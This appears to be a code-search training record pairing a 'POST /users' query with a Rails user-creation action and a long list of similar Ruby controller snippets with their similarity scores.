"def create\n @response = Verify::Response.translate(saml_response: params[\"SAMLResponse\"], request_id: session[:verify_request_id], level_of_assurance: \"LEVEL_2\")\n if @response.verified?\n current_claim.update!(@response.claim_parameters)\n redirect_to claim_url(\"verified\")\n else\n redirect_to verify_path_for_response_scenario(@response.scenario)\n end\n end",
"def make_response(status, body)\n {\n statusCode: status,\n body: JSON.pretty_generate(body)\n }\nend",
"def respond_with(response_hash = {})\n if response_hash[:errors]\n response_hash[:errors].merge!(errors) # Just in case there are errors loaded directly from the caller, we don't want to completely obliterate them\n else\n response_hash[:errors] = errors\n end\n \n Response.new(response_hash)\n end",
"def initialize(response)\n @response = response\n @headers = response.headers\n @status = response.status\n @body = response.body || ''\n end",
"def http_response\n @http_response ||=\n Strava::Web::ApiResponse.new(deep_copy(@web_response).http_response)\n end",
"def initialize(response)\n @response = response\n end",
"def wrapped_response\n if response.is_a?(::Protobuf::Rpc::PbError)\n ::Protobuf::Socketrpc::Response.new(:error => response.message, :error_reason => response.error_type, :server => env.server)\n else\n ::Protobuf::Socketrpc::Response.new(:response_proto => response.encode, :server => env.server)\n end\n end",
"def show\n @response = Response.new\n end",
"def after_create_response(success)\n if success\n flash[:notice] = t('muck.services.oai_endpoint_successfully_created')\n respond_to do |format|\n format.html { redirect_to oai_endpoint_path(@oai_endpoint) }\n format.pjs { redirect_to oai_endpoint_path(@oai_endpoint, :layout => 'popup') }\n format.json { render :json => @oai_endpoint.as_json }\n format.xml { head :created, :location => oai_endpoint_url(@oai_endpoint) }\n end\n else\n respond_to do |format|\n format.html { render :template => \"oai_endpoints/new\" }\n format.pjs { render :template => \"oai_endpoints/new\", :layout => false }\n format.json { render :json => @oai_endpoint.as_json }\n format.xml { render :xml => @oai_endpoint.errors.to_xml }\n end\n end\n end",
"def create\n @response = Response.new(\n body: params[:body],\n post_id: params[:post_id],\n user_id:current_user.id\n )\n\n respond_to do |format|\n if @response.save\n format.html { redirect_to @response, notice: \"Response was successfully created.\" }\n format.json do\n render json: @response,\n include: {\n user:{only:[:id, :name, :about, :address, :longitude, :latitude]}\n }\n end\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(response)\n @response = response\n end",
"def initialize(response)\n @response = response\n end",
"def initialize(response)\n @response = response\n end",
"def initialize(response)\n @response = response\n end",
"def build_response_object(session_end = true)\n @response = Hash.new\n @response[:outputSpeech] = @speech unless @speech.nil?\n @response[:card] = @card unless @card.nil?\n @response[:reprompt] = @reprompt unless session_end && @reprompt.nil?\n @response[:shouldEndSession] = session_end\n @response\n end",
"def new(options = {}, &block)\n respond_with(build_resource, options, &block)\n end",
"def create\n @response = event_user.responses.new(response_params)\n new_was_successful = @response.save\n\n respond_with [event_user, @response] do |format|\n format.html{\n if new_was_successful\n redirect_to(event_users_path, :notice => 'The Response was created')\n else\n render 'new', :notice => 'Some input was not valid.'\n end\n }\n end\n end",
"def response=(response); @response = response end",
"def create_resource_response(resource)\n respond_to do |format|\n if resource.save\n format.html { redirect_to resource, notice: \"#{resource.class.name.titlecase} was successfully created.\" }\n format.json { render action: 'show', status: :created, location: resource }\n else\n resource_response_error(resource, :new, format)\n end\n end\n end",
"def _create_http_response(mock_response, code, message)\n mock_response.stub!(:code).and_return(code)\n mock_response.stub!(:message).and_return(message)\n mock_response.stub!(:is_a?).and_return(true) if [\"200\", \"201\"].member?(code)\nend",
"def create\n @vas_response = VasResponse.new(vas_response_params)\n\n respond_to do |format|\n if @vas_response.save\n format.html { redirect_to @vas_response, notice: 'Vas response was successfully created.' }\n format.json { render :show, status: :created, location: @vas_response }\n else\n format.html { render :new }\n format.json { render json: @vas_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_response = UserResponse.new(user_response_params)\n\n respond_to do |format|\n if @user_response.save\n format.html { redirect_to @user_response, notice: 'User response was successfully created.' }\n format.json { render :show, status: :created, location: @user_response }\n else\n format.html { render :new }\n format.json { render json: @user_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_response(sender, options={}, force=false)\n self.responses.build(response_options(sender, options)) if force || allows_response?(sender)\n end",
"def call_reponse_wrapper(response)\n response_wrapper.new(response)\n end"
] |
[
"0.80498314",
"0.7282625",
"0.7129241",
"0.7067617",
"0.67621446",
"0.6731786",
"0.67310524",
"0.67046076",
"0.67041206",
"0.6701308",
"0.66116863",
"0.66003984",
"0.6586602",
"0.6572353",
"0.6538835",
"0.6517463",
"0.6514374",
"0.6458323",
"0.64482534",
"0.6439314",
"0.64392024",
"0.64392024",
"0.6437103",
"0.6419635",
"0.63952583",
"0.6384376",
"0.6384376",
"0.63831633",
"0.6378267",
"0.6371421",
"0.63639075",
"0.63401467",
"0.63395166",
"0.6323652",
"0.6271043",
"0.62675613",
"0.6265169",
"0.6245811",
"0.62380534",
"0.6211009",
"0.6209416",
"0.61996406",
"0.61922085",
"0.61861134",
"0.618005",
"0.61738974",
"0.61632323",
"0.6129666",
"0.6129666",
"0.61278766",
"0.61278766",
"0.61198235",
"0.61090463",
"0.6106845",
"0.61062425",
"0.61027217",
"0.60986114",
"0.60941297",
"0.6073173",
"0.6069919",
"0.60696167",
"0.60611963",
"0.6036868",
"0.6003014",
"0.5989299",
"0.5987773",
"0.5985457",
"0.59830076",
"0.5977488",
"0.5973139",
"0.5972141",
"0.59546566",
"0.5938177",
"0.5932914",
"0.59117913",
"0.5893545",
"0.58848745",
"0.5882536",
"0.58819914",
"0.5876731",
"0.58754706",
"0.5848821",
"0.58390087",
"0.5831437",
"0.58309877",
"0.5830083",
"0.58272064",
"0.58269656",
"0.58269656",
"0.58269656",
"0.58269656",
"0.58094144",
"0.58034056",
"0.5799541",
"0.5787949",
"0.5770609",
"0.57582545",
"0.5748464",
"0.57418025",
"0.5723995",
"0.5720805"
] |
0.0
|
-1
|
Returns the body as Ruby Hash.
|
def to_h
JSON.parse(@body, symbolize_names: true)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_hash\n body.to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end"
] |
[
"0.84918356",
"0.7862615",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887",
"0.7861887"
] |
0.0
|
-1
|
Returns the body as String.
|
def to_s
@body.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n body.to_s\n end",
"def to_s\n @body\n end",
"def to_s\n body\n end",
"def to_s\n @body\n end",
"def to_s\n @body\n end",
"def body\n if @parsed_body\n parsed_body.to_s\n else\n @body\n end\n end",
"def to_s\n body\n end",
"def body\n @body || \"\"\n end",
"def body_to_string(body)\n p body\n s = ''\n body.each { |line| s << line.to_s << \"\\r\\n\" }\n body.close if body.respond_to?(:close)\n s.chomp\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n return @body\n end",
"def body\n return \"\"\n end",
"def body\n ret = read_attribute(:body)\n if ret.nil?\n return ret\n end\n ret = ret.strip\n ret = ret.gsub(/(?:\\n\\s*){2,}/, \"\\n\\n\") # remove excess linebreaks that unnecessarily space it out\n ret\n end",
"def body\n response&.body.to_s\n end",
"def body\n read_attribute(:body) || ''\n end",
"def raw_body\n @response.body.to_s\n end",
"def body\n response.body.to_s\n end",
"def getBody\n @body\n end",
"def body\n @raw\n end",
"def body\n @document.to_s\n end",
"def body\n buffer = ''\n\n each { |chunk| buffer << chunk }\n return buffer\n end",
"def text\n @body\n end",
"def body\n data[:body]\n end",
"def encode_body\n '' # No body by default\n end",
"def body_as_text\n return '' if !body\n return body if content_type.blank? || content_type =~ %r{text/plain}i\n\n body.html2text\n end",
"def text\n body.text\n end",
"def body_raw\n @body_raw ||= body(true).read\n @body_raw\n end",
"def body\n \"\"\n end",
"def body\n \"\"\n end",
"def getBody\n body = \"\"\n @body.each { |part| body << part }\n body\n ensure\n @body.close if @body.respond_to?(:close)\n end",
"def body\n @body ||= process_text(@raw_body)\n end",
"def body\n self[:body]\n end",
"def to_plain_text\n body&.to_plain_text.to_s\n end",
"def to_s\n [headers, body].join(\"\\n\")\n end",
"def body\n response.body || ''\n end",
"def body\n @message.body\n end",
"def raw_body\n @attributes[:raw_body]\n end",
"def to_s\n @response.body\n end",
"def body\n ''\n end",
"def body(opts)\n \"\"\n end",
"def body\n @attributes[:body]\n end",
"def getBody()\n return @req.body\n end",
"def body\n self['body']\n end",
"def body\n fetch\n @body\n end",
"def body\n self.read_body\n self.get_body\n end",
"def body\n process_message_body if !@body\n @body\n end",
"def body_string\n body = request.body\n body.rewind # Since this is a StringIO and we access it twice, rewind it\n body.read\n rescue RuntimeError => exception\n # Rails 4.2 with Ruby 2.3 raises \"RuntimeError: can't modify frozen String\"\n # when trying to access request.body with invalid JSON. Fallback to header.\n request.headers[\"RAW_POST_DATA\"]\n end",
"def body\n if defined? @body\n @body\n else\n Null\n end\n end",
"def body_raw\n @response.body\n end",
"def to_s\n raw = ''\n headers.each_pair { |k, v| raw << \"#{k}: #{v}\\r\\n\"}\n raw << \"\\r\\n\"\n\n body.each_line do |line|\n orig_line = line\n line = line.chomp\n\n raw << '.' if line[0] == '.' # dot stuffing\n raw << line\n # don't add a newline if there wasn't one originally\n raw << \"\\r\\n\" unless line.eql?(orig_line)\n end\n\n raw << \"\\r\\n\"\n end",
"def body\n source\n end",
"def text\n self.body\n end",
"def body\n @body ||= begin\n begin\n io = Java.java_to_ruby(\n org.jruby.RubyIO.new(JRuby.runtime, entity.content).java_object\n )\n io.read\n rescue Exception => e\n puts \"Error in Response#body: #{e.message}\"\n end\n end\n end",
"def body\n Base64::decode64(self[:body])\n end",
"def raw_body\n @response.body\n end",
"def body\n @body ||= @request.body.read\n end",
"def to_s\n \"#{headers}\\r\\n\\r\\n#{body}\"\n end",
"def get_body\n request_object.body\n end",
"def body\n @body ||= reader_doc.content(true).strip\n end",
"def quick_body\n @raw[1..-1] || \"\"\n end",
"def body\n @body_io.read.tap { @body_io.rewind }\n end",
"def body\n response.body\n end",
"def body\n @response.body\n end",
"def body\n @response.body\n end",
"def body\n @binding&.body || \"\"\n end",
"def parsed_body\n @body\n end",
"def body\n @body ||= begin\n body = \"\"\n while chunk = readpartial\n body << chunk\n end\n body\n end\n end",
"def to_raw()\n self.headers ||= default_headers_obj()\n self.body ||= default_body_obj()\n\n if len=@opts[:static_length]\n @body = Body.new(@body, @body.opts) {|x| x.base = self}\n @headers.set_header(\"Content-Length\", len.to_i)\n elsif @opts[:ignore_content_length]\n @headers.delete_header(\"Content-Length\")\n end\n\n bstr = @body.to_raw\n hdrs = @headers.to_raw_array.unshift(first_entity.to_raw)\n return \"#{hdrs.join(\"\\r\\n\")}\\r\\n\\r\\n#{bstr}\"\n end",
"def body\n @http_response.body\n end",
"def raw_body\n @raw_body ||= @raw[(raw_command.length + 1)..-1] || \"\"\n end",
"def body\n remote[:body] || reload.remote[:body]\n end",
"def to_s\n self.header + ' ' + @body.join(\"\\n \") + self.footer\n end",
"def to_s\n string = ''.tap do |s|\n s << @http_version << ' '\n s << \"#{@status.code} #{@status.message}\"\n s << CRLF\n end\n\n @header.each do |key, value|\n string << \"#{key}: #{value}#{CRLF}\"\n end\n\n string << \"#{CRLF}#{@body}\"\n end",
"def to_s\n @content.chomp\n end",
"def encoded_body\n @encoded_body ||= should_encode? ? encode(body) : body.to_s\n end",
"def to_s\n content.to_s\n end",
"def body\n if @http_response != nil \n @body = @http_response.body\n end\n @body\n end",
"def deliver\n self.body.to_s.html_safe\n end",
"def plain_body\n mail&.plain_body\n end",
"def body\n connection.get(@url.path).body\n end",
"def to_string\n contents\n end",
"def body\n part('body')\n end",
"def body(request)\n request.body.read\n end",
"def encoding\n @body.encoding\n end",
"def to_s\n out = \"#{@http_method} #{@uri.request_uri} HTTP/1.1\\r\\n\"\n out << \"Host: #{@uri.host}:#{@uri.port}\\r\\n\"\n\n http_request.each do |name, value|\n out << \"#{name}: #{value}\\r\\n\" unless name =~ /host/i\n end\n\n out << \"\\r\\n\"\n\n if @body.respond_to?(:read)\n out << @body.read\n elsif Kronk::Multipart === @body\n out << @body.to_io.read\n else\n out << @body.to_s\n end\n end",
"def raw_body\n unless @raw_body\n @in.rewind\n @raw_body = @in.read(content_length)\n end\n\n @raw_body\n end",
"def to_body\r\n to_hash\r\n end",
"def to_s\n text = \"\"\n text << self.header\n @body.each do |section|\n text << section\n end\n text << self.footer\n\n #return\n text\n end",
"def to_s\n content.to_s\n end",
"def body_as_html\n return '' if !body\n return body if content_type && content_type =~ %r{text/html}i\n\n body.text2html\n end",
"def encoded_body\n Ethon::Easy::Form.new(nil, options[:body]).to_s\n end",
"def to_s\n @content\n end",
"def encode(body)\n body\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def body\n if raw_post = @env['RAW_POST_DATA']\n raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)\n StringIO.new(raw_post)\n else\n @env['rack.input']\n end\n end",
"def to_s\n @content.inspect\n end"
] |
[
"0.8695328",
"0.85691285",
"0.8489503",
"0.84837383",
"0.84837383",
"0.82008815",
"0.81878483",
"0.8039237",
"0.77034086",
"0.76867884",
"0.76867884",
"0.76867884",
"0.76867884",
"0.76742005",
"0.7669744",
"0.76410764",
"0.7593768",
"0.75935155",
"0.7587039",
"0.75865614",
"0.75810045",
"0.74855554",
"0.7473321",
"0.7460859",
"0.74556106",
"0.7422656",
"0.73785955",
"0.73324555",
"0.7330252",
"0.7324025",
"0.7308565",
"0.7308565",
"0.72688043",
"0.7247701",
"0.7223631",
"0.72234243",
"0.7177856",
"0.7166749",
"0.7144239",
"0.71440345",
"0.7122453",
"0.7116501",
"0.7109784",
"0.7082592",
"0.70824486",
"0.7054241",
"0.7025781",
"0.7014306",
"0.7011311",
"0.7001002",
"0.69099545",
"0.690856",
"0.69077235",
"0.6901891",
"0.68898237",
"0.68774134",
"0.6876017",
"0.68731856",
"0.68651485",
"0.6859086",
"0.6830294",
"0.6826112",
"0.6799433",
"0.67933613",
"0.67524034",
"0.67470944",
"0.67470944",
"0.6742208",
"0.67021996",
"0.6695976",
"0.66849947",
"0.667229",
"0.66692054",
"0.66690433",
"0.66584915",
"0.6652393",
"0.66506743",
"0.66497636",
"0.66409266",
"0.6640284",
"0.6632386",
"0.66321915",
"0.662476",
"0.6621917",
"0.66133815",
"0.66084677",
"0.65946835",
"0.6574319",
"0.65595984",
"0.65542537",
"0.6548306",
"0.6545858",
"0.6523589",
"0.65220726",
"0.6495681",
"0.6492669",
"0.6484338",
"0.6484338",
"0.64774525",
"0.64771456"
] |
0.8647939
|
1
|
POST /users POST /users.json
|
def create
@user = User.new(user_params)
@user.build_profile
if @user.save
sign_in @user
Notifier.welcome(@user).deliver
flash[:success] = 'Thanks for signing up!'
redirect_to @user
else
render 'new'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end",
"def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end",
"def create\n user = User.create(user_params) \n render json: user, status: :created\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(\n username: user_params[:username],\n password: user_params[:password])\n if user.save\n create_example_collection(user)\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: user.errors.full_messages}\n end\n end",
"def create\n user= User.create(user_params)\n render json: user\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def create\n user = User.new(@user_info)\n if user.save && user.errors.empty?\n render json: { status: 200, data: UserSerializer.new(user).as_json }\n else\n render json: { status: 400, error: user.errors.full_messages }\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create(options = {})\n request(:post, '/users.json', default_params(options))\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.create user_params\n \n if @user.save\n respond_with(@user) do |format|\n format.json {render}\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create_user\n @user = User.new(user_params)\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = @application.users.create(user_params)\n\n if @user.valid?\n render json: @user, status: :created, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.save\n render json: user\n else\n render json: user.errors, status: :bad\n end\n end",
"def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end",
"def create\n\n puts '-----------------------create in user controller'\n\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('user_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, success: 'User registration successful' }\n else\n render json: { error: 'User registration unsuccessful' }\n end\n end",
"def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tputs user_params\n\t\tuser = User.new(user_params)\n\t\tif user.save\n\t\t\trender json: { user: user, status: :success }\n\t\telse\n\t\t\trender json: { status: :failure, errors: user.errors.full_messages.join('') }\n\t\tend\n\tend",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end",
"def create\n user = User.new(user_params)\n\n respond_to do |format|\n if user.save\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user.users.build(user_params)\n\n if @user.save\n render json: @user\n else\n @user_items = []\n end\n end",
"def create\n user = User.new(user_params)\n render json: { status: 200, msg: 'User was created.', data: \"User Id #{user.id}\" } if user.save\n end",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render :json => user, :status => :created\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end",
"def create\n logger.debug user_params\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :not_acceptable\n end\n end",
"def create\n user = User.create(user_params)\n render json: user, message: 'user succefully create', status: 200\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n up = user_params\n\n if up[:name].present?\n up[:first_name] = up[:name].split(' ')[0]\n up[:last_name] = up[:name].split(' ')[1]\n up.delete :name\n end\n @user = User.new(up)\n\n respond_to do |format|\n if @user.save\n # render json: {user: user, token: token}\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: api_user_url(@user)}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: \"Se creo el usuario\"}, status: :ok\n else\n render json: {status: \"Error al crear el usuario\", errors: user.errors }, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(params[:user].permit(:username))\n if user.save\n render json: user\n else\n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n puts '>>> params:'\n puts params.inspect\n @user = User.new(params[:user])\n puts '>>> User:'\n puts @user.inspect\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n \tdata = { data: @user, status: :created, message: \"User was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @user.errors, status: :unprocessable_entity }\n render :json => data\n end\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user.as_json(only: [:email, :authentication_token]), status: :created\n else\n head(:unprocessable_entity)\n end\n end",
"def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render :ok, json: @user.to_json\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unauthorized\n end\n end",
"def create\n puts params\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user.as_json(user: current_user), status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: 200, msg: 'User was created.'}\n else\n render json: {errors: user.errors.messages}\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo]})\n @user.save\n render json:@user\n end",
"def create\n user = User.create(user_params)\n\n if user.valid?\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: user.errors.full_messages\n end\n end",
